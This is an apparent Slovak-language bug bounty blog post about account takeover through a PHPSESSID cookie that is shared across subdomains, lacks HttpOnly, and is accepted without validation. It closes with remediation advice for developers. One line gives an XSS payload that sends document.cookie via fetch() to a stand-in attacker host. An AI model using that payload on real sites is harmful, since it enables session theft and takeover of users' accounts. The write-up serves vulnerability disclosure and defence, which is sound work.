Keď jedna session vládne všetkým: PHPSESSID ako vstupenka do cudzích účtov
Keď som testoval jeden z cieľov v rámci bug bounty programu, narazil som na zraniteľnosť, ktorá ma šokovala svojou jednoduchosťou. Testoval som jeden cieľ a objavil som chybu, ktorá sa dá prirovnať k tomu, že sa niekto dostane do VIP zóny len tým, že pozná číslo na kartičke. Session ID bez akejkoľvek validácie slúžilo ako voľná vstupenka. Tento článok odhaľuje chybu, ktorá môže viesť k útoku typu account takeover cez zle nakonfigurovanú session cookie: PHPSESSID
.
Kontext a výskyt
Pri testovaní jednej nemenovanej webovej aplikácie som si všimol zaujímavé správanie: aplikácia rozdelená medzi dve rôzne subdomény — povedzme main.target.com
a dashboard.target.com
— používala zdieľanú session cookie PHPSESSID
. Pri prihlásení cez jednu z týchto subdomén zostal prístup k rovnakému účtu dostupný aj pri prechode na druhú subdoménu.
To poukazuje na:
Zdieľané sessions cez backend (napr. Redis alebo databáza), alebo
Zle nastavený
Set-Cookie
hlavičkový parameter, konkrétne:Domain=.target.com
, ktorý povoľuje použitie cookie na všetkých subdoménach- **Absencia **
HttpOnly
– čo znamená, že JavaScript má prístup kPHPSESSID
Prečo je to problém?
Ak sa v tejto hlavnej subdoméne nachádza XSS (napríklad DOM-based zraniteľnosť cez nevalidovaný URL parameter), môže útočník zneužiť fakt, že má cez JavaScript prístup k session cookie. V spojení s tým, že backend akceptuje túto cookie aj na inej subdoméne (napr. kde je administrácia), vzniká:
Priamy vektor na session hijacking:
<script>fetch('https://attacker.burpcollab.me/?c='+document.cookie)</script>
Tento jednoduchý payload umožní exfiltrovať platné sessions všetkým návštevníkom hlavnej stránky. Akonáhle obe subdomény zdieľajú autentifikáciu, stačí útočníkovi túto cookie nasadiť do svojho prehliadača — a voilà, má prístup k účtu nič netušiacej obete.
Skutočný problém: Žiadna validácia session ID
Najkritickejšia časť celej zraniteľnosti spočívala v tom, že stačilo poznať PHPSESSID
iného používateľa a aplikácia ho okamžite považovala za platného. Bez akéhokoľvek ďalšieho overenia:
- nebolo nutné byť prihlásený cez štandardný login flow,
- nebola vyžadovaná žiadna IP väzba, CSRF token alebo device fingerprint,
- stačilo túto session cookie nasadiť do prehliadača a okamžite sa používateľ ocitol prihlásený do účtu inej osoby.
To je obrovský bezpečnostný fail, pretože to znamená, že akýkoľvek únik alebo krádež tejto hodnoty = okamžitý takeover bez akýchkoľvek bariér.
Praktický scenár
Predstav si, že webová služba poskytuje optimalizačný nástroj na správu webstránok. Hlavná stránka main.target.com
prezentuje marketingový obsah a dokumentáciu. Admin rozhranie na dashboard.target.com
poskytuje kompletný prístup k účtu – vrátane konfigurácie, účtov, API kľúčov a výkonnostných metrík.
Aj keď marketingový web nemá žiadne citlivé funkcionality, ak obsahuje napr. nezabezpečený vyhľadávací parameter, môže byť vstupnou bránou do celého účtu cez XSS a následný session hijack. A vďaka absencii session validácie útočník potrebuje len session ID – žiadne heslo, žiadne potvrdenie.
Dopady
- Account Takeover (ATO) aj bez phishingu alebo bruteforce
- Zneužitie predplatených služieb, zmena nastavení, vymazanie účtu
- Krádež API kľúčov, exfiltrácia údajov, či pivot na iné interné systémy
Odporúčania pre vývojárov:
- Obmedziť viditeľnosť session cookie na konkrétnu subdoménu:
Domain=dashboard.target.com
- Zapnúť
HttpOnly
aSecure
flagy preSet-Cookie
- Vynucovať väzbu session na IP, user-agent alebo device fingerprint
- Validovať session ID voči databáze a zaviesť detekciu podozrivého správania
- Dôsledne validovať a escapovať všetky vstupy, hlavne URL parametre a hash fragmenty
- Pravidelne auditovať JavaScript kód a jeho interakciu s DOM a cookies
Záver
Zle nakonfigurovaný PHPSESSID
je ako otvorené zadné dvere do pevnosti. Ak sa navyše aplikácia vôbec nesnaží overiť platnosť session ID, ide o vysokorizikovú kombináciu, ktorú môže zneužiť ktokoľvek so základnými znalosťami webovej bezpečnosti.
Na prvý pohľad nenápadná chyba má silu kompromitovať celé používateľské účty bez jediného phishingového e-mailu. Ak by ste túto chybu našli na produkčnej webovej aplikácii v rámci bug bounty programu, výsledkom môže byť nielen high severity report, ale aj reálna ochrana používateľských údajov pred zneužitím.